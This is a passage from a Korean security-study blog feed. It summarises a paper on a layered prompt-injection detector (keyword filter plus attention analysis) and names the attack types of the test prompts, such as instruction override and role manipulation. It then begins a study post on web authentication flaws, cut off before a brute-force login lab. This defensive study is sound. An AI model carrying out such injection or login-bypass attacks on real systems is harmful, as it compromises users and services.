&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;4.5 프레임워크 동작 흐름&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-26 오후 10.41.20.png&quot; data-origin-width=&quot;1466&quot; data-origin-height=&quot;1006&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AM9Do/dJMcaicrj6f/e7pTpjmfsN6N50ztu0BsI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AM9Do/dJMcaicrj6f/e7pTpjmfsN6N50ztu0BsI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AM9Do/dJMcaicrj6f/e7pTpjmfsN6N50ztu0BsI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAM9Do%2FdJMcaicrj6f%2Fe7pTpjmfsN6N50ztu0BsI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;726&quot; height=&quot;498&quot; data-filename=&quot;스크린샷 2026-05-26 오후 10.41.20.png&quot; data-origin-width=&quot;1466&quot; data-origin-height=&quot;1006&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;1. 사용자 입력이 시스템에 들어옴&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;2. 1단계 금지어 기반 필터링에서 5개 카테고리의 악성 키워드 검사&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;3. 키워드가 탐지되면 즉시 차단 후 종료&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;4. 통과한 입력에 대해 어텐션 가중치 계산&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;5. 중요 헤드를 선택하고 Focus Score를 계산&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;6. 임곗값과 비교 후 최종 판정 내림&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;7. 공격 판정: 차단, 정상 판정: LLM응답 생성&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;- 전체 처리 시간 단축&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;- 시스템 부하 최소화&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;- 두가지의 상호 보완적인 탐지 방식을 결합해 직접적 공격과 간접적 공격 모두 높은 탐지 정확도 달성&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;5. 성능 평가 및 분석&lt;/h3&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;5.1 실험 환경&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 경량 LLM모델 Qwen2-1.5B -&amp;gt; 실시간 서비스 환경에서의 적용 가능성 검증&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- xTRaml 데이터셋 -&amp;gt; 중요 어텐션 헤드 선별을 위한 학습 데이터&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;5.2 데이터셋 구성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격 유형별 변형을 포함한 23개의 악성 프롬프트 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격유형별 프롬프트 구성&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-26 오후 11.15.04.png&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;496&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAaRVQ/dJMcafzZmex/leFxpjggTzI7NWOCnQBLYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAaRVQ/dJMcafzZmex/leFxpjggTzI7NWOCnQBLYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAaRVQ/dJMcafzZmex/leFxpjggTzI7NWOCnQBLYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAaRVQ%2FdJMcafzZmex%2FleFxpjggTzI7NWOCnQBLYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;401&quot; height=&quot;308&quot; data-filename=&quot;스크린샷 2026-05-26 오후 11.15.04.png&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;496&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 직접적 공격: 명시적인 악성 키워드를 포함하여 1단계 필터링의 성능을 평가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(Direct Instruction Override, System Command Spoofing, Code Injection)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 간접적 공격: 명시적 키워드 없이 문맥을 조작해 2단계 Attention Tracker 성능을 평가하도록 구성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(Role Manipulation, Context Manipulation, Social Engineering)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;5.3 평가지표&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 성능 평가 지표&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탐지 정확도, 평균 지연 시간, 총 비용&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;5.4 비교 대상 방법&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 세가지 비교&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(1)금지어 기반 필터링을 단독으로 사용(Banned Terms) : 5개 카테고리의 금지어 목록 47개를 기반으로 탐지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(2)Attention Tracker : 1단계 필터링 없이 모든 입력에 대해 Focus Score 계산해 탐지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(3)제안 방법(Hybrid) : 위의 두가지를 결합한 2단계 다층 방어 프레임워크 적용해 평가&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;5.5 실험 결과&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-26 오후 11.29.00.png&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;992&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b55vvM/dJMcafUivtP/FKLkPkz1k5SRrDDoYNYUwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b55vvM/dJMcafUivtP/FKLkPkz1k5SRrDDoYNYUwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b55vvM/dJMcafUivtP/FKLkPkz1k5SRrDDoYNYUwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb55vvM%2FdJMcafUivtP%2FFKLkPkz1k5SRrDDoYNYUwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;446&quot; height=&quot;992&quot; data-filename=&quot;스크린샷 2026-05-26 오후 11.29.00.png&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;992&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;1) 탐지 정확도 분석&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;(1)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 명시적 키워드가 있는 코드 삽입 및 일부 시스템 위장 공격: 탐지 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 키워드가 없는 간접 공격: 대부분 탐지 불가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 간접 공격: 일부 탐지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 짧고 단순한 직접 공격: 탐지 실패 ( 일관성 없음 )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(3)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 단일 방식들보다 약 2배높은 정확도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-26 오후 11.51.04.png&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;1284&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bT904T/dJMb990Ry2O/JgeaqrDetHsOPHDTMG7un1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bT904T/dJMb990Ry2O/JgeaqrDetHsOPHDTMG7un1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bT904T/dJMb990Ry2O/JgeaqrDetHsOPHDTMG7un1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbT904T%2FdJMb990Ry2O%2FJgeaqrDetHsOPHDTMG7un1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;469&quot; height=&quot;694&quot; data-filename=&quot;스크린샷 2026-05-26 오후 11.51.04.png&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;1284&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2) 지연 시간 및 비용 분석&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(1)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;속도가 매우 빠르고 비용이 가장 낮음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 정확도가 너무 낮아 단독 보안 솔루션으로 부적합&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;평균 지연 시간 매우 긺. 비용 가장 높음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(3)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(2)대비 시간 56%단축. 비용 중간. -&amp;gt; 효율성 가장 우수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;3) 종합 분석&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제안하는 다층방어 프레임 워크로 trade-off 해결&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-26 오후 11.52.03.png&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qID8F/dJMb990Ry4D/QdqnebfEBRcIWlmwvitif1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qID8F/dJMb990Ry4D/QdqnebfEBRcIWlmwvitif1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qID8F/dJMb990Ry4D/QdqnebfEBRcIWlmwvitif1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqID8F%2FdJMb990Ry4D%2FQdqnebfEBRcIWlmwvitif1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;509&quot; height=&quot;284&quot; data-filename=&quot;스크린샷 2026-05-26 오후 11.52.03.png&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;500&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;5.6 한계점 및 향후 연구&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터셋 규모의 한계 -&amp;gt; 변형 공격에 대한 신뢰도 확보를 위한 추가적 검증 필요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 적용 범위의 제한(API 형태로만 제공되는 모델에 직접 적용 어렵)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 고도화된 감정 호소 공격 탐지 실패 -&amp;gt; 대화의 문맥적 의도를 파악하는 상위 레벨의 의미론적 분석 모듈 추가 필요&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;6. 결론&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;- 단순 키워드 매칭 방식만으로는 고도화된 의미론적 공격 탐지에 한계가 있음&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;- 제안된 프레임워크의 성능 평가 결과: 기존 단일 탐지 기법 대비 약 2배 향상된 83%의 탐지 정확도.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;Attention Tracker 단독 운용 시와 비교해 지연 시간 50%이상 단축, 연산 비용 절감.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;- 1단계: 명시적 공격 신속 차단&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;- 2단계: 잔여 입력의 문맥적 이상 징후를 정밀 분석하는 계층적 구조&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 보안 성능과 시스템 효율성 간 균형 달성&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;배운점 및 느낀점&lt;br /&gt;&lt;br /&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;보안 연구에서는 정상입력을 공격으로 오인하는 오탐과 공격을 탐지 하지 못하는 미탐의 균형을 맞춰 정확도를 가장 끌어올릴 수 있는 지점을 찾는 것이 중요하다는 것을 알게되었다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;보안 시스템을 평가할 때 단순히 공격을 얼마나 잘 막는가만 보면 안되며, 위의 내용처럼 지연 시간과 운영 비용을 함깨 측정하여 고려해야만&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;실제 서비스 환경에 적용 가능한지 판단할 수 있다는 것을 알게 되었다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;금지어 필터링하는 규칙기반 방식과 어텐션을 분석하는 모델 기반 방식을 위 논문에서 제안된 프레임워크처럼 계층적으로 연결하면 각각 단일 방식의 한계를 상호보완 할 수 있다는 것을 알게 되었고,&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;실험과정과 결과를 보며 이렇게 설계하는 능력이 핵심이라는 것을 깨달았다.&lt;/p&gt;</description>
      <category>SWLUG(2026)/논문분석</category>
      <author>batterygj</author>
      <guid isPermaLink="true">https://batterygj.tistory.com/80</guid>
      <comments>https://batterygj.tistory.com/80#entry80comment</comments>
      <pubDate>Tue, 26 May 2026 23:55:39 +0900</pubDate>
    </item>
    <item>
      <title>[6주차] Authentication vulnerabilities</title>
      <link>https://batterygj.tistory.com/79</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;Authentication vulnerabilities&amp;nbsp;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹사이트에서 흔히 쓰이는 인증 메커니즘들&lt;/li&gt;
&lt;li&gt;이들 메커니즘에서 발생할 수 있는 잠재적 취약점들&lt;/li&gt;
&lt;li&gt;서로 다른 인증 메커니즘 자체에 내재된 취약점(설계적 한계)&lt;/li&gt;
&lt;li&gt;잘못 구현했을 때 도입되는 전형적 취약점들&lt;/li&gt;
&lt;li&gt;자체 인증 메커니즘을 가능한 견고하게 만드는 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 민감한 데이터와 기능에 접근하도록 허용 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 추가적인 공격 표면을 노출해 더 큰 침투로 이어질 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 인증 취약점을 식별하고 악용하는 방법, 일반적인 보호 조치를 우회하는 방법을 배우는 것 중요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;Authentication&lt;span&gt; (인증)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;: 사용자나 클라이언트의 신원을 검증하는 과정&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;웹사이트는 인터넷에 연결된 모든 사람에게 잠재적으로 노출되어 있기 때문에, 강력한 인증 메커니즘은 효과적인 웹 보안을 위해 필수적&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span&gt;인증의 3대 요인&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;1. 지식 요인 (Knowledge factors)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 비밀번호, 보안질문의 답&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 소유 요인 (Possession factors)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 모바일폰, OTP토큰, 보안카드 등 물리적 장치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 고유 기반 요인 (Inherence factors)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 지문, 얼굴 인식, 음성, 행동 패턴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 인증 메커니즘은 위의 한가지 이상 요인을 검증하기 위해 다양한 기술에 의존&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Authentication vs Authorization(인가)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Authentication: 사용자가 자신이 주장하는 사람인지 확인하는 과정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Authorization: 사용자가 어떤 행동을 할 수 있는지(권한이 있는지) 검증하는 과정 -&amp;gt; 인가받은 권한에 따라 수행할 수 있는 동작이 결정됨&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;인증 취약점 발생 원인&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 인증 메커니즘이 약할 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; brute-force 공격을 적절히 방어하지 못할 때 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 로직 결함 또는 잘못된 코딩(구현 오류)이 있을 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 공격자가 인증 과정을 완전히 우회할 수 있게 되는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;( 웹 개발의 여러 영역에서 로직 결함은 웹사이트가 예상치 못한 방식으로 동작하게 만들지만, 그것이 항상 보안 문제로 이어지는 것 아님.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 &quot;인증&quot;은 보안의 핵심이기 때문에, 인증 로직에 결함이 있다면 거의 확실하게 보안 문제가 발생한다고 볼 수 있음 )&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;인증 취약점 영향&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 그 계정이 가진 모든 데이터와 기증에 접근 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 원래 접근할 수 없어야 할 상업적으로 민감한 정보(business confidential data)에 접근 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp;+) 그 계정이 민감한 데이터에 직접 접근하지 못하더라도 공격자는 추가적인 페이지나 기능에 접근할 수 있게 되어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 넓은 공격 표면을 얻게 됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 시스템 관리자처럼 높은 권한 계정 탈취 -&amp;gt; 애플리케이션 전체를 완전히 장악하고 내부 인프라에까지 접근할 수 도 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;intruder payload 대입 실습(로그인 우회)&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. ACCESS THE LAB&lt;/p&gt;
